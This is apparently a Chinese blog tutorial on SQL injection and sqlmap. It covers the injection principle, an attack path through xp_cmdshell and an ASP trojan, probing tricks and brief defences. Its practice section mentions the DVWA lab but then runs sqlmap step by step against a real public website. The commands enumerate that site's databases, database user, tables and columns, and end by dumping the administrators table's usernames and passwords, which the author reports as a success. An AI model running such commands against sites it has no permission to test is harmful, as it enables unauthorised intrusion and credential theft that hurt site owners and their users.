SQL注入攻击的特点

① Web应用程序没有对用户输入进行合法性验证而产生SQL注入漏洞( “空格”的存在和使用);
② 攻击者通过构造特殊的SQL语句,将指令插入系统原始的SQL查询语句中并执行它;
③ 获取数据库的敏感信息,甚至获取主机的控制权。 
   SQL注入攻击具有广泛性。

原理

SQL注入的原理
① 地址http://127.0.0.1/inject.asp?dbtype=sql&id=1对应的SQL语句为:SqlStr = “select * from admin where id=” + id,程序没有判断id的内容,默认为一个数字。
② 黑客构造URL:http://127.0.0.1/inject.asp?dbtype=sql &id=1%20or%201=1(%20是空格符的编码),填入空格的内容变成1 or 1=1,它等价于:select * from admin,就能查出admin表中所有记录。 
③ 这是最简单的SQL注入攻击,各种精妙复杂的语句还可以操纵数据库甚至操作系统

SQL攻击的思路

① 发现SQL注入位置;
② 判断后台数据库类型;
③ 确定XP-cmdshell可执行情况;
④ 发现Web虚拟目录;
⑤ 上传ASP木马;
⑥ 得到管理员权限。

使用sqlmap进行SQL注入攻击-LMLPHP

判断能否注入Web程序的方法

经典的1=1、1=2判断方法,打开页面如下:
① http://127.0.0.1/inject.asp?dbtype=sql&id=1
② http://127.0.0.1/inject.asp?dbtype=sql&id=1 and 1=1
③ http://127.0.0.1/inject.asp?dbtype=sql&id=1 and 1=2
可以注入的表现:
① 正常显示(这是必然的,不然程序就有错误了)。
② 正常显示,内容与①相同。
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next),总之与①不同。

SQL注入攻击的防范

① 防注脚本:用instr()函数屏蔽掉所有的敏感字符
② 更改IIS设置:无论Web程序运行出错类型,服务器都只提示HTTP 500错误
③ 将管理员和用户的权限最小化

实践

1.使用sqlmap对DVWA进行攻击

DVWA是非常优秀的用于sqlmap的靶机,安装见:https://blog.csdn.net/weixin_39938635/article/details/82903128

错误处理:https://blog.csdn.net/xavierdarkness/article/details/75040716

攻击范文:https://blog.csdn.net/AsNeverBefore/article/details/75208138#41-使用sqlmap注入dvwa的sql-injection菜单

2.使用sqlmap进行对www.bible-history.com的攻击

参考https://blog.csdn.net/vala0901/article/details/71548954

浏览器输入http://www.bible-history.com/subcat.php?id=2

使用sqlmap进行SQL注入攻击-LMLPHP

查看它的数据库列表,查看能否进行注入:

sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --dbs

使用sqlmap进行SQL注入攻击-LMLPHP

注入的结果表示:

(1)注入参数id为GET注入,注入类型有三种,分别是:boolean-based blind/time-based blind/union query

(2)web应用程序技术为:Apache 2.4.34  PHP7.0.32

(3)数据库类型:MySQL 

(4)最后列出了网址所有的数据库名单
 

查看web当前使用的数据库:

 sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --current-db

使用sqlmap进行SQL注入攻击-LMLPHP

注意到倒数第五行,current database 为bible_history ,就针对这个数据库搞一搞。

 

探测web数据库使用的账号:

sqlmap -u "http://www.bible-history.com/subcat.php?id=2" --current-user使用sqlmap进行SQL注入攻击-LMLPHP

可见当前的数据库使用账户为:rusty@localhost

 

探测bible_history这个数据库里的所有表:

sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history --tables

使用sqlmap进行SQL注入攻击-LMLPHP

 

探测的是administrators表的列

sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history -T administrators --columns使用sqlmap进行SQL注入攻击-LMLPHP

 

拖库吧!

sqlmap -u "http://www.bible-history.com/subcat.php?id=2" -D bible_history -T administrators -C admin_id,admin_username,admin_password --dump使用sqlmap进行SQL注入攻击-LMLPHP

拖库成功。

 

11-24 17:44